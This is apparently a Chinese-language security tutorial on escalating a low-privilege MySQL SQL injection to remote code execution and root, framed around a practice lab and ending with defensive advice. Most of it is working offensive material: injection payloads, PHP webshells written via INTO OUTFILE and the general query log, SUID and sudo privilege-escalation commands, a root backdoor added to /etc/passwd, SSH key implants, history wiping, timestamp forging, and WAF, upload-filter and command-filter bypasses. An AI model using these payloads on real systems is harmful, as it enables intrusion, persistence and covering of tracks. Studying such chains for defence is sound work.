从低权限SQL注入到RCE提权:完整攻击链与防御策略

📅 2026/7/4 11:11:41
从低权限SQL注入到RCE提权:完整攻击链与防御策略
1. 项目概述从SQL注入到系统沦陷的完整攻击链在渗透测试和网络安全攻防演练中我们常常会遇到一些看似“鸡肋”的低权限SQL注入点。很多新手可能会觉得一个只能查询部分数据、无法直接读写文件的注入点价值有限。但今天我想分享的恰恰是如何将这样一个“低权限”的入口通过一系列精巧的利用最终演变成获取服务器最高权限RCE并绕过现有防御体系的完整攻击链。这个过程我称之为“低权限SQL注入至RCE权限绕过”。简单来说这个项目模拟了一个典型的Web应用场景攻击者首先发现了一个存在SQL注入漏洞的查询接口但该数据库用户的权限被严格限制例如只有SELECT权限无法使用LOAD_FILE,INTO OUTFILE等危险函数。我们的目标就是在这个受限的起点上通过信息收集、逻辑推理、利用应用层特性以及操作系统层面的技巧一步步扩大战果最终在目标服务器上执行任意命令并尝试绕过可能存在的权限控制或监控措施。这不仅仅是漏洞的简单叠加更是对攻击者思维广度、技术深度和耐心的一次综合考验。2. 核心思路与技术路线图面对一个低权限的SQL注入点盲目尝试union select写入文件往往行不通。我的核心思路是将其视为一个“信息探针”和“跳板”分阶段、有步骤地推进。2.1 第一阶段深度信息收集与侦察在拿到一个注入点后切忌直接上“大招”。全面的信息收集是后续所有行动的基础。2.1.1 数据库层面信息首先利用注入点获取尽可能多的数据库信息。这不仅仅是数据库版本和当前用户。-- 获取数据库版本、当前用户、当前数据库 and updatexml(1,concat(0x7e,version(),0x7e,user(),0x7e,database()),1)-- -- 列出所有数据库名 and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),1)-- -- 列出当前数据库的所有表名 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase())),1)-- -- 列出关键表如users, admin的字段名 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase())),1)--注意在低权限下information_schema库通常是可读的这是我们的“藏宝图”。但要注意updatexml或extractvalue的报错注入有长度限制约32KB对于大量数据需要使用substr函数分片读取或者利用limit子句。2.1.2 应用与服务器层面信息数据库信息之外我们更需要关注应用逻辑和服务器环境。绝对路径探测这是关键一步。尝试通过数据库报错信息、应用默认配置、读取某些系统表如MySQL的datadir然后推测Web根目录来获取Web应用的绝对路径。例如 and updatexml(1,concat(0x7e,datadir),1)--获取数据目录Web根目录往往在上一层或特定子目录。后端语言与框架通过报错信息、HTTP响应头如X-Powered-By、Cookie名称如PHPSESSID判断是PHP、ASP.NET还是JSP。这决定了后续利用方式如PHP的?php system($_GET[‘c‘]);?。操作系统类型通过数据库函数判断如MySQL的version_compile_os或者利用路径分隔符猜测Windows用\Linux用/。2.1.3 权限与防御措施感知数据库用户权限尝试执行SELECT file_priv FROM mysql.user WHERE user CURRENT_USER()MySQL 5.x或使用SELECT grantee, privilege_type FROM information_schema.user_privileges来了解权限。低权限通常意味着FILE_PRIV为N。WAF/过滤规则探测通过提交AND 11、AND ‘1‘‘1‘、AND SLEEP(5)等观察响应时间和返回内容判断是否存在关键词过滤、频率限制或WAF。这对于设计绕过payload至关重要。2.2 第二阶段寻找突破口与横向移动在信息收集完成后我们需要寻找从数据库层“跳”到应用层或系统层的桥梁。2.2.1 利用数据库特性写入文件即使没有FILE权限某些数据库在特定配置下也可能存在写入机会。MySQL日志文件写入这是低权限MySQL注入获取RCE的经典方法。核心思路是让MySQL将我们的恶意代码写入日志文件然后通过Web访问该日志文件来执行代码。开启通用查询日志或慢查询日志并设置其路径为Web可访问目录。;SET global general_log_file ‘/var/www/html/shell.php‘;-- ;SET global general_log on;--执行一个包含PHP代码的查询该查询会被记录到日志文件中。;SELECT ‘?php system($_GET[“cmd“]); ?‘;--关闭日志避免产生大量日志引起注意。;SET global general_log off;--访问http://target.com/shell.php?cmdid如果成功则执行了系统命令。实操心得这个方法成功的前提是1. MySQL运行用户通常是mysql有权限在Web目录创建/写入文件2.secure_file_priv参数为空或指向Web目录。在实际中条件往往比较苛刻但值得尝试。2.2.2 利用应用功能实现文件写入如果数据库直接写文件行不通那么关注应用本身的功能。通过注入点我们能读取到的数据可能包含管理员密码哈希、会话令牌、配置信息等。窃取管理员凭证通过注入获取后台管理员表的用户名和密码哈希如MD5。如果哈希可破解或应用存在密码重置漏洞则可能登录后台。读取配置文件许多应用将数据库连接信息、API密钥甚至加密密钥写在配置文件如config.php,web.config,application.properties中。通过注入读取这些文件可能获得更高权限的数据库账号有FILE权限或者直接获取服务器敏感信息。-- 假设已知绝对路径 /var/www/html/include/config.inc.php and updatexml(1,concat(0x7e,(select load_file(‘/var/www/html/include/config.inc.php‘))),1)--注意LOAD_FILE()函数需要FILE权限。但在低权限场景下我们可能通过其他方式如数据库备份功能、文件读取API的SQL注入间接读取文件。利用后台文件上传功能登录后台后寻找任何文件上传点如图片上传、插件安装、模板编辑。这是获取Webshell最常见、最直接的途径。即使有黑名单过滤也可能通过混淆如.phtml,.php5,.phps、双写.pphphp、大小写、添加图片头等方式绕过。2.3 第三阶段获取RCE与权限维持一旦通过后台或其他方式上传了Webshell我们就获得了在Web服务器上下文执行命令的能力。2.3.1 初始立足点评估使用简单的Webshell执行whoami,id,pwd等命令了解当前Web服务的运行用户权限。通常是www-data,apache,nginx等低权限用户。2.3.2 权限提升提权这是从低权限Web用户获取系统root或Administrator权限的关键步骤。需要根据操作系统和系统配置进行。Linux系统提权内核漏洞使用uname -a查看内核版本搜索对应的公开漏洞如DirtyCow, CVE-2021-4034等。使用searchsploit或互联网查找利用代码在目标服务器上编译执行。SUID/GUID文件滥用查找设置了SUID位的可执行文件find / -perm -us -type f 2/dev/null。常见的危险文件如/bin/bash,/usr/bin/find,/usr/bin/vim,/usr/bin/python等。如果find有SUID位可以轻松提权find . -exec /bin/bash -p \;。环境变量劫持如果程序以高权限运行且调用了未使用绝对路径的命令可以通过控制PATH环境变量来劫持。Cron Jobs检查/etc/crontab和/var/spool/cron/crontabs/看是否有以root身份定期运行的任务并且任务脚本或目录我们可写。sudo权限运行sudo -l查看当前用户无需密码可以以root身份运行哪些命令。如果包含vim,less,more,python等通常可以借此启动一个root shell。Windows系统提权系统信息收集systeminfo查看系统版本和补丁情况whoami /priv查看特权。服务漏洞检查是否存在权限配置不当的服务可写路径、脆弱的服务二进制文件。使用accesschk.exe或PowerShell脚本进行扫描。AlwaysInstallElevated检查注册表项HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated和HKLM\...如果都为1则任何MSI包都将以SYSTEM权限安装。未引用的服务路径如果服务路径包含空格且未被引号包裹Windows会按顺序尝试执行。例如C:\Program Files\Vulnerable App\service.exe可能被劫持为C:\Program.exe。利用已知漏洞类似Linux使用systeminfo结果匹配公开的提权EXP如PrintNightmare、Juicy Potato等。2.3.3 权限维持与后门获取root权限后需要留下后门以便再次进入。创建高权限用户Linux下useradd -o -u 0 -g 0 backdoor_user或直接修改/etc/passwdWindows下net user backdoor Pssw0rd! /add net localgroup administrators backdoor /add。SSH后门Linux下将公钥写入/root/.ssh/authorized_keys或者修改PAM模块、SSH服务端二进制文件。Webshell隐藏将Webshell放在隐蔽目录使用.htaccessApache限制访问IP或将其内容嵌入到正常图片中图片马并修改文件时间戳以混淆。计划任务/Cron在系统计划任务中添加定期反弹shell的连接。Rootkit更高级的隐藏如内核模块rootkit但风险较高易导致系统不稳定。2.4 第四阶段权限绕过与防御规避在整个过程中我们可能遇到各种防御措施需要技巧来绕过。2.4.1 SQL注入绕过技巧关键词过滤绕过如果过滤了select,union等。大小写/双写SeLeCt,SELSELECTECT。编码URL编码、十六进制编码、Unicode编码。union-%75%6e%69%6f%6e或u%6eion。注释符分割sel/**/ect。使用等价函数或语法substring可以用mid,substr‘admin‘可以用like ‘admin%‘。WAF/IPS绕过特殊字符填充在关键词中添加大量空白符如%0a,%0d,%09,%0b、注释/**/。参数污染?id1id2‘ union select不同服务器解析方式不同可能绕过。HTTP参数拆分将payload拆分到多个参数或HTTP头中。慢速攻击通过sleep()函数使请求变慢可能绕过基于阈值的防护。2.4.2 文件上传绕过文件类型校验绕过修改Content-Type将application/x-php改为image/jpeg。文件幻数Magic Number在PHP文件开头添加GIF89a等图片头。后缀名混淆.php,.php5,.phtml,.phps,.php.jpg(Apache可能根据AddType配置解析)。内容过滤绕过如果过滤了?php等标签。使用短标签?。使用script language“php“需PHP配置支持。利用.htaccess将自定义后缀解析为PHPAddType application/x-httpd-php .abc然后上传.abc文件。2.4.3 命令执行过滤绕过在Webshell中执行命令时可能遇到过滤cat,ls,whoami等命令的情况。命令分隔符;,,,|,||。空格绕过${IFS},%09(tab),{cat,flag.txt}。通配符/bin/cat fla*。变量拼接awho;bami;$a$b。编码/引用$(echo ‘d2hvYW1p‘|base64 -d)。利用其他命令过滤了cat可以用more,less,head,tail,tac,nl,od,xxd等。3. 实战模拟一个完整的攻击案例推演假设我们有一个靶场环境目标是一个PHPMySQL的网站存在一个搜索框的数字型SQL注入漏洞。3.1 初始探测与信息收集确认注入search.php?keyword1‘ and ‘1‘‘1返回正常1‘ and ‘1‘‘2返回异常确认字符型注入。判断列数1‘ order by 5--正常order by 6错误说明有5列。信息收集-- 获取数据库用户和版本 keyword1‘ union select 1,user(),version(),database(),5-- -- 返回: rootlocalhost, 5.7.34, testdb -- 注意这里显示root但可能是数据库内的root而非系统root。仍需检查FILE权限。检查FILE权限和路径keyword1‘ union select 1,file_priv,3,4,5 from mysql.user where usersubstring_index(user(),‘‘,1)-- -- 返回: Y (表示有FILE权限这是一个重要发现) -- 获取Web绝对路径通过读取数据库连接配置文件或报错 keyword1‘ and updatexml(1,concat(0x7e,(select load_file(‘/var/www/html/config.php‘))),1)-- -- 假设成功读取到配置发现路径为 /var/www/html/3.2 尝试直接写Webshell由于有FILE权限可以尝试直接写文件。keyword1‘ union select 1,‘?php system($_GET[“cmd“]);?‘,3,4,5 into outfile ‘/var/www/html/shell.php‘--访问http://target/shell.php?cmdid如果成功则直接获得RCE。但现实中secure_file_priv参数可能限制写入目录或者Web目录不可写。3.3 利用日志文件写入备选方案如果直接写文件失败尝试日志文件方法。keyword1‘;set global general_log_file‘/var/www/html/access.log‘;-- keyword1‘;set global general_logon;-- keyword1‘;select ‘?php system($_GET[“c“]);?‘;-- keyword1‘;set global general_logoff;--然后访问http://target/access.log?cid。注意此方法会将所有查询记录到Web目录可能产生大量日志需谨慎。3.4 横向移动与提权假设通过Webshell执行whoami得知当前用户是www-data。信息收集# 查看内核版本 uname -a # 查找SUID文件 find / -perm -us -type f 2/dev/null # 查看sudo权限 sudo -l # 查看计划任务 cat /etc/crontab ls -la /etc/cron.*/发现提权向量假设发现/usr/bin/python具有SUID位这是一个严重的配置错误。利用Python提权/usr/bin/python -c ‘import os; os.setuid(0); os.system(“/bin/bash“)‘执行后我们就获得了root shell。3.5 权限维持# 1. 添加后门用户 echo “backdoor::0:0::/root:/bin/bash“ /etc/passwd # 设置空密码用户名为backdoorUID和GID为0root # 2. 或者更隐蔽地在authorized_keys中添加SSH公钥 echo “ssh-rsa AAAAB3NzaC... your_public_key“ /root/.ssh/authorized_keys # 3. 清理痕迹可选但很重要 # 清除命令历史 history -c rm ~/.bash_history # 修改Webshell和日志文件的时间戳 touch -t 202301010000 /var/www/html/shell.php4. 防御建议与反思从防御者角度看这条攻击链的每一个环节都可以被加固。4.1 针对SQL注入根本解决使用参数化查询Prepared Statements或ORM框架杜绝字符串拼接。最小权限原则数据库连接用户只赋予应用所需的最小权限通常是SELECT,INSERT,UPDATE,DELETE坚决不给FILE,GRANT等权限。设置secure_file_priv在MySQL配置中将secure_file_priv设置为一个非空的、非Web可访问的目录或者直接设置为NULL。输入验证与过滤虽然不如参数化查询可靠但对输入进行严格的类型、长度、格式检查仍是必要的辅助手段。WAF部署Web应用防火墙可以拦截大量自动化攻击和已知攻击模式。4.2 针对文件上传与RCE文件上传将上传目录设置为不可执行通过配置或文件系统权限。对上传文件进行重命名如使用随机哈希值避免直接使用用户提供的文件名。进行严格的文件类型检查检查MIME类型、文件头、文件扩展名并在服务器端进行二次渲染或转换如图片压缩。限制上传文件的大小和数量。命令执行避免在应用代码中直接调用系统命令或eval(),system()等危险函数。如果必须使用对用户输入进行白名单过滤并严格限制命令参数。使用沙箱环境运行不受信任的代码。4.3 针对权限提升与后门系统加固定期更新操作系统和软件补丁。遵循最小权限原则服务和应用都以低权限用户运行。定期审计系统上的SUID/GUID文件、计划任务、服务、sudo权限。使用入侵检测系统IDS/HIDS监控异常文件创建、用户添加、权限变更等行为。日志与监控集中收集并分析Web日志、数据库日志、系统日志。设置告警规则对敏感操作如general_log开关、into outfile语句、Web目录下创建.php文件进行实时告警。定期渗透测试以攻击者的视角对自身系统进行安全评估主动发现并修复漏洞。这个从低权限SQL注入到RCE并提权的过程清晰地展示了一个点状漏洞如何被串联放大为整个系统的安全灾难。对于攻击者它需要耐心、技巧和对系统深入的理解对于防御者它则警示我们安全是一个整体任何一环的薄弱都可能导致全盘皆输。真正的安全始于每一行安全的代码和每一次最小权限的配置。